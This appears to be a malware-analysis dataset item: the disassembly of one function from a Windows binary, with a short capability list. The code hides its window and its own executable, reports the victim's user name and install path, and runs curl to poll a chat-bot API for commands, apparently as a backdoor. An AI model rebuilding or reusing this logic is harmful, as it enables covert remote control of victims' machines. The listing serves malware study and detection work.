Function at 0x140003de0
Capabilities:
Get common file path
Get session user name
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [0x1400760c0]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
xor r13d, r13d
mov dword [rsp + 0x30], r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.TEMP
call fcn.14003c318
mov r12, rax
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x5a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rbp + 0x60], 0x101
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x280]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ebx, eax
mov ecx, eax
call fcn.1400321a4
mov rdi, rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r13
mov qword [rbp + 0xc0], 7
mov word [rbp + 0xa8], r13w
test r12, r12
je 0x140003f5e
xor eax, eax
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
lea rcx, [rbp + 0xd0]
call fcn.140005aa0
nop
mov r9, 0xffffffffffffffff
nop word [rax + rax]
inc r9
cmp byte [r12 + r9], 0
jne 0x140003f10
add r9, r12
mov r8, r12
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xd0]
call fcn.140007630
mov eax, 0x200
mov dword [rsp + 0x30], eax
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp + 0xb8], xmm1
lea rcx, [rbp + 0xd0]
call fcn.1400059b0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x260]
call fcn.140006ec0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, 2
mov edx, ebx
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x390]
call fcn.140002f40
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], r13
lea r8d, [rbx + 0x17]
lea rdx, str.New_client__0D_0AName:_20
lea rcx, [rbp + 0x88]
call fcn.140008a00
nop
lea rax, [rbp + 0x280]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140003fe5
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x88]
call fcn.140007ff0
mov r8d, 0x1a
lea rdx, str._0D_0AInstalled_20Path:_20
lea rcx, [rbp + 0x88]
call fcn.140007ff0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x140004022
mov rdx, rdi
lea rcx, [rbp + 0x88]
call fcn.140007ff0
mov rcx, rdi
call fcn.140031f20
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
lea rcx, [rbp + 0x88]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
xor r8d, r8d
lea rdx, [0x14006c646]
lea rcx, [rbp + 0x20]
call fcn.140008a00
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], 0
jne 0x140004090
mov rdx, r12
lea rcx, [rbp + 0x20]
call fcn.140007ff0
mov r8, rbx
lea rdx, [0x14006c964]
lea rcx, [rbp + 0x20]
call fcn.140007ff0
mov r14, qword [0x1400797f0]
movabs r8, 0x7fffffffffffffff
mov rax, r8
sub rax, r14
cmp rax, 9
jb 0x1400050e3
mov rcx, r14
mov rdx, r14
mov r10d, 0x16
movabs r9, 0x8000000000000000
lea r15, [0x1400797e0]
cmp qword [0x1400797f8], 0xf
jbe 0x14000410b
mov r15, qword [0x1400797e0]
mov rcx, rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rsi, [rcx + 9]
mov ebx, 0xf
lea rdi, [rsp + 0x60]
cmp rsi, rbx
jbe 0x14000419d
mov rbx, rsi
or rbx, 0xf
cmp rbx, r8
jbe 0x140004145
mov rbx, r8
lea rax, [r9 + 0x27]
jmp 0x140004167
cmp rbx, 0x16
cmovb rbx, r10
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140004186
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400050ef
mov rcx, rax
call fcn.140031f28
test rax, rax
je 0x1400050e9
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004198
test rcx, rcx
je 0x140004195
call fcn.140031f28
mov rdi, rax
jmp 0x140004198
mov rdi, r13
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rbx
movsd xmm0, qword [str.curl__s__]
movsd qword [rdi], xmm0
movzx eax, byte [0x14006c988]
mov byte [rdi + 8], al
lea rcx, [rdi + 9]
mov r8, r14
mov rdx, r15
call fcn.14005ce60
mov byte [rdi + rsi], 0
mov r15d, dword [rsp + 0x30]
or r15d, 0x10
mov r8d, 8
lea rdx, str._offset
lea rcx, [rsp + 0x60]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rsp + 0x38]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str.___
lea rcx, [rbp + 0x40]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.140007ff0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r15d, 0x1e0
mov dword [rsp + 0x30], r15d
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140004340
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000433b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050f5
call fcn.140031f20
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000438b
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004386
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400050fb
call fcn.140031f20
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400043d8
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005101
call fcn.140031f20
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004428
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004423
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005107
call fcn.140031f20
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call fcn.140039af8
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x150]
call fcn.14005d500
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x150]
call fcn.140005250
nop
cmp qword [rbp + 0x1e0], 0
je 0x140004f4e
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
jmp 0x1400044a0
xor r13d, r13d
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x190]
mov rcx, qword [rax + 8]
mov qword [rbp - 0x50], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp - 0x58]
call fcn.140008470
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx ebx, al
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x1400044fc
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x1400044fc
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx r8d, bl
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x150]
call fcn.140009b00
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x140004ebf
lea rdi, [rbp - 0x40]
mov r12, qword [rbp - 0x28]
cmp r12, 0xf
seta r13b
cmova rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x30]
cmp rsi, 0xc
jb 0x1400045a8
lea r14, [rsi + rdi]
lea r8, [r14 - 0xb]
sub r8, rdi
mov edx, 0x22
mov rcx, rdi
call fcn.14005d8a0
mov rbx, rax
test rax, rax
je 0x1400045a8
nop dword [rax]
nop word [rax + rax]
mov r8d, 0xc
lea rdx, str._chat_:_id_
mov rcx, rbx
call fcn.14005d940
test eax, eax
je 0x140004600
inc rbx
lea r8, [r14 - 0xb]
sub r8, rbx
mov edx, 0x22
mov rcx, rbx
call fcn.14005d8a0
mov rbx, rax
test rax, rax
jne 0x140004570
mov rbx, 0xffffffffffffffff
cmp rbx, 0xffffffffffffffff
je 0x14000489e
lea r15, [rbp - 0x40]
test r13b, r13b
mov r12, qword [rbp - 0x40]
cmovne r15, r12
cmp rsi, 1
jb 0x14000462c
lea rax, [rsi - 1]
cmp rbx, rax
ja 0x14000462c
lea r14, [r15 + rsi]
lea rcx, [r15 + rbx]
mov r8, r14
sub r8, rcx
mov edx, 0x3a
call fcn.14005d8a0
mov rdi, rax
test rax, rax
je 0x14000462c
cmp byte [rdi], 0x3a
jne 0x140004605
xor eax, eax
jmp 0x14000460a
sub rbx, rdi
jmp 0x1400045af
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004679
inc rdi
mov r8, r14
sub r8, rdi
mov edx, 0x3a
mov rcx, rdi
call fcn.14005d8a0
mov rdi, rax
test rax, rax
jne 0x1400045f7
mov rdi, 0xffffffffffffffff
lea r15, [rbp - 0x40]
test r13b, r13b
cmovne r15, r12
cmp rsi, 1
jb 0x1400046a6
lea rax, [rsi - 1]
cmp rbx, rax
ja 0x1400046a6
lea r14, [r15 + rsi]
lea rcx, [r15 + rbx]
mov r8, r14
sub r8, rcx
mov edx, 0x7d
call fcn.14005d8a0
mov rcx, rax
test rax, rax
je 0x1400046a6
nop dword [rax]
cmp byte [rcx], 0x7d
jne 0x14000467e
xor eax, eax
jmp 0x140004683
sub rdi, r15
jmp 0x140004633
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004721
inc rcx
mov r8, r14
sub r8, rcx
mov edx, 0x7d
call fcn.14005d8a0
mov rcx, rax
test rax, rax
jne 0x140004670
mov rcx, 0xffffffffffffffff
lea rdx, [rdi + 1]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r14d, r14d
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
cmp rsi, rdx
jb 0x140005119
sub rcx, rdi
dec rcx
sub rsi, rdx
cmp rsi, rcx
cmovb rcx, rsi
lea rax, [rbp - 0x40]
test r13b, r13b
cmovne rax, r12
add rdx, rax
mov r8, rcx
lea rcx, [rbp]
call fcn.140008a00
mov eax, dword [rsp + 0x30]
or eax, 2
mov dword [rsp + 0x30], eax
lea rax, [rbp]
mov rcx, qword [rbp]
mov r15, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 0xf
jbe 0x140004726
lea rdi, [rcx + r15]
lea rbx, [rcx + r15]
mov rsi, rcx
jmp 0x140004735
sub rcx, r15
jmp 0x1400046ad
lea rdi, [rax + r15]
lea rbx, [rbp]
add rbx, r15
lea rsi, [rbp]
mov r12, rdi
cmp rsi, rbx
je 0x140004799
nop dword [rax]
movsx ecx, byte [rsi]
call fcn.140038d90
test eax, eax
je 0x140004754
inc rsi
cmp rsi, rbx
jne 0x140004740
mov r15, qword [rbp + 0x10]
mov rcx, qword [rbp]
cmp rsi, rbx
je 0x140004799
lea r14, [rsi + 1]
cmp r14, rbx
je 0x140004796
nop word [rax + rax]
movsx ecx, byte [r14]
call fcn.140038d90
test eax, eax
je 0x140004786
movzx eax, byte [r14]
mov byte [rsi], al
inc rsi
inc r14
cmp r14, rbx
jne 0x140004770
mov r15, qword [rbp + 0x10]
mov rcx, qword [rbp]
xor r14d, r14d
lea rax, [rbp]
mov rdx, rsi
cmp qword [rbp + 0x18], 0xf
jbe 0x1400047ac
sub rdx, rcx
jmp 0x1400047b6
sub rdx, rax
mov r12, rdi
lea rcx, [rbp]
mov rax, r15
sub r12, rsi
sub rax, rdx
cmp rax, r12
cmovb r12, rax
add rcx, rdx
sub r15, r12
mov r8, r15
sub r8, rdx
inc r8
lea rdx, [rcx + r12]
call fcn.14005ce60
mov qword [rbp + 0x10], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r14
xor r8d, r8d
lea rdx, [0x14006c646]
lea rcx, [rsp + 0x38]
call fcn.140008a00
nop
lea rdx, [rsp + 0x38]
lea rcx, [rbp]
call fcn.140003730
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140004856
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004850
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000510d
call fcn.140031f20
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140004891
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000488c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005113
call fcn.140031f20
mov r15d, dword [rsp + 0x30]
mov rsi, qword [rbp - 0x30]
mov r12, qword [rbp - 0x28]
lea rbx, [rbp - 0x40]
cmp r12, 0xf
seta r14b
mov r13, qword [rbp - 0x40]
cmova rbx, r13
cmp rsi, 6
jb 0x140004930
lea rdi, [rsi + rbx]
lea r8, [rdi - 5]
sub r8, rbx
mov edx, 0x22
mov rcx, rbx
call fcn.14005d8a0
mov r9, rax
test rax, rax
je 0x140004930
nop dword [rax + rax]
xor ecx, ecx
lea rax, str._text_
nop dword [rax]
movzx edx, byte [r9 + rcx]
inc rcx
cmp dl, byte [rax + rcx - 1]
jne 0x140004908
cmp rcx, 6
jne 0x1400048f0
xor eax, eax
jmp 0x14000490d
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004989
inc r9
lea r8, [rdi - 5]
sub r8, r9
mov edx, 0x22
mov rcx, r9
call fcn.14005d8a0
mov r9, rax
test rax, rax
jne 0x1400048e0
mov r9, 0xffffffffffffffff
cmp r9, 0xffffffffffffffff
je 0x140004b11
lea rdi, [rbp - 0x40]
test r14b, r14b
cmovne rdi, r13
cmp rsi, 1
jb 0x1400049b2
lea rax, [rsi - 1]
cmp r9, rax
ja 0x1400049b2
lea rbx, [rdi + rsi]
lea rcx, [rdi + r9]
mov r8, rbx
sub r8, rcx
mov edx, 0x3a
call fcn.14005d8a0
mov rcx, rax
test rax, rax
je 0x1400049b2
nop dword [rax + rax]
cmp byte [rcx], 0x3a
jne 0x14000498e
xor eax, eax
jmp 0x140004993
sub r9, rbx
jmp 0x140004937
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400049f6
inc rcx
mov r8, rbx
sub r8, rcx
mov edx, 0x3a
call fcn.14005d8a0
mov rcx, rax
test rax, rax
jne 0x140004980
mov rcx, 0xffffffffffffffff
lea rdx, [rbp - 0x40]
test r14b, r14b
cmovne rdx, r13
cmp rsi, 1
jb 0x140004a00
lea rax, [rsi - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rdx
nop
cmp byte [r8], 0x22
jne 0x1400049ec
xor eax, eax
test eax, eax
je 0x1400049fb
cmp r8, rdx
je 0x140004a00
dec r8
jmp 0x1400049e0
sub rcx, rdi
jmp 0x1400049b9
sub r8, rdx
jmp 0x140004a07
mov r8, 0xffffffffffffffff
lea rdx, [rcx + 2]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor ebx, ebx
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rbx
cmp rsi, rdx
jb 0x140005145
sub r8, rcx
sub r8, 2
sub rsi, rdx
cmp rsi, r8
cmovb r8, rsi
lea rax, [rbp - 0x40]
test r14b, r14b
cmovne rax, r13
add rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140008a00
or r15d, 4
mov dword [rsp + 0x30], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
xor r8d, r8d
lea rdx, [0x14006c646]
lea rcx, [rsp + 0x38]
call fcn.140008a00
nop
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140003730
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140004aca
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000511f
call fcn.140031f20
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140004b05
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005125
call fcn.140031f20
mov r13, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x30]
mov r12, qword [rbp - 0x28]
lea rdi, [rbp - 0x40]
cmp r12, 0xf
cmova rdi, r13
cmp rsi, 0xb
jb 0x14000449d
lea r14, [rsi + rdi]
lea r8, [r14 - 0xa]
sub r8, rdi
mov edx, 0x22
mov rcx, rdi
call fcn.14005d8a0
mov rbx, rax
test rax, rax
je 0x14000449d
nop dword [rax + rax]
movabs rax, 0x5f65746164707522
cmp qword [rbx], rax
jne 0x140004b6d
cmp word [rbx + 8], 0x6469
jne 0x140004b6d
cmp byte [rbx + 0xa], 0x22
je 0x140004b91
inc rbx
lea r8, [r14 - 0xa]
sub r8, rbx
mov edx, 0x22
mov rcx, rbx
call fcn.14005d8a0
mov rbx, rax
test rax, rax
jne 0x140004b50
jmp 0x14000449d
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x14000449d
lea r15, [rbp - 0x40]
cmp r12, 0xf
cmova r15, r13
cmp rsi, 1
jb 0x140004c07
lea rax, [rsi - 1]
cmp rbx, rax
ja 0x140004c07
lea r14, [r15 + rsi]
lea rcx, [r15 + rbx]
mov r8, r14
sub r8, rcx
mov edx, 0x3a
call fcn.14005d8a0
mov rdi, rax
test rax, rax
je 0x140004c07
nop dword [rax]
cmp byte [rdi], 0x3a
je 0x140004eaf
inc rdi
mov r8, r14
sub r8, rdi
mov edx, 0x3a
mov rcx, rdi
call fcn.14005d8a0
mov rdi, rax
test rax, rax
jne 0x140004be0
mov rdi, 0xffffffffffffffff
lea r15, [rbp - 0x40]
cmp r12, 0xf
cmova r15, r13
cmp rsi, 1
jb 0x140004c74
lea rax, [rsi - 1]
cmp rbx, rax
ja 0x140004c74
lea r14, [rsi + r15]
lea rcx, [rbx + r15]
mov r8, r14
sub r8, rcx
mov edx, 0x2c
call fcn.14005d8a0
mov rcx, rax
test rax, rax
je 0x140004c74
nop dword [rax]
cmp byte [rcx], 0x2c
je 0x140004eb7
inc rcx
mov r8, r14
sub r8, rcx
mov edx, 0x2c
call fcn.14005d8a0
mov rcx, rax
test rax, rax
jne 0x140004c50
mov rcx, 0xffffffffffffffff
lea rdx, [rdi + 1]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
cmp rsi, rdx
jb 0x140005145
sub rcx, rdi
dec rcx
sub rsi, rdx
cmp rsi, rcx
cmovb rcx, rsi
lea rax, [rbp - 0x40]
cmp r12, 0xf
cmova rax, r13
add rdx, rax
mov r8, rcx
lea rcx, [rsp + 0x38]
call fcn.140008a00
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140004d03
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005125
call fcn.140031f20
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp - 0x10], xmm1
lea r15, [rbp - 0x20]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r8, xmm0
cmp r8, 0xf
cmova r15, rcx
movq r14, xmm1
add r15, r14
lea rbx, [rbp - 0x20]
cmp r8, 0xf
cmova rbx, rcx
add rbx, r14
lea rdi, [rbp - 0x20]
cmp r8, 0xf
cmova rdi, rcx
cmp rdi, rbx
je 0x140004db8
nop dword [rax]
movsx ecx, byte [rdi]
call fcn.140038d90
test eax, eax
je 0x140004d74
inc rdi
cmp rdi, rbx
jne 0x140004d60
mov r8, qword [rbp - 8]
mov r14, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
cmp rdi, rbx
je 0x140004db8
lea rsi, [rdi + 1]
cmp rsi, rbx
je 0x140004db8
nop
movsx ecx, byte [rsi]
call fcn.140038d90
test eax, eax
je 0x140004da4
movzx eax, byte [rsi]
mov byte [rdi], al
inc rdi
inc rsi
cmp rsi, rbx
jne 0x140004d90
mov r8, qword [rbp - 8]
mov r14, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x20]
cmp r8, 0xf
cmova rax, rcx
mov rdx, rdi
sub rdx, rax
sub r15, rdi
mov rax, r14
sub rax, rdx
cmp rax, r15
cmovb r15, rax
lea rax, [rbp - 0x20]
cmp r8, 0xf
cmova rax, rcx
lea rcx, [rax + rdx]
sub r14, r15
mov r8, r14
sub r8, rdx
inc r8
lea rdx, [rcx + r15]
call fcn.14005ce60
mov qword [rbp - 0x10], r14
call fcn.14003a318
mov rdi, rax
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rbx, qword [rbp - 0x20]
xor r13d, r13d
mov dword [rax], r13d
lea r8d, [r13 + 0xa]
lea rdx, [rbp - 0x48]
mov rcx, rbx
call fcn.14003aec0
cmp rbx, qword [rbp - 0x48]
je 0x140005138
cmp dword [rdi], 0x22
je 0x14000512b
lea edx, [rax + 1]
lea rcx, [rsp + 0x38]
call fcn.1400085b0
mov r15d, dword [rsp + 0x30]
or r15d, 9
mov dword [rsp + 0x30], r15d
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140004e98
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005125
call fcn.140031f20
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp - 0x10], xmm1
jmp 0x1400044a0
sub rdi, r15
jmp 0x140004c0e
sub rcx, r15
jmp 0x140004c7b
lea rcx, [rbp + 0x160]
call fcn.140007b70
test rax, rax
jne 0x140004f0f
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x198], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx + 0x160]
and eax, 0x17
mov dword [rbp + rcx + 0x160], eax
and eax, dword [rbp + rcx + 0x164]
jne 0x14000514b
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140004f4a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000519c
call fcn.140031f20
mov r12, qword [rbp - 0x80]
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x150], rax
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x14c], edx
lea rcx, [rbp + 0x160]
call fcn.140006a90
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x150], rax
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x14c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x200], rax
lea rcx, [rbp + 0x200]
call fcn.140010c90
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140005014
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000500f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051a2
call fcn.140031f20
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140005062
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000505d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051a8
call fcn.140031f20
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
xor r8d, r8d
lea rdx, [0x14006c646]
lea rcx, [rbp + 0x20]
call fcn.140008a00
nop
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r12 + r8], 0
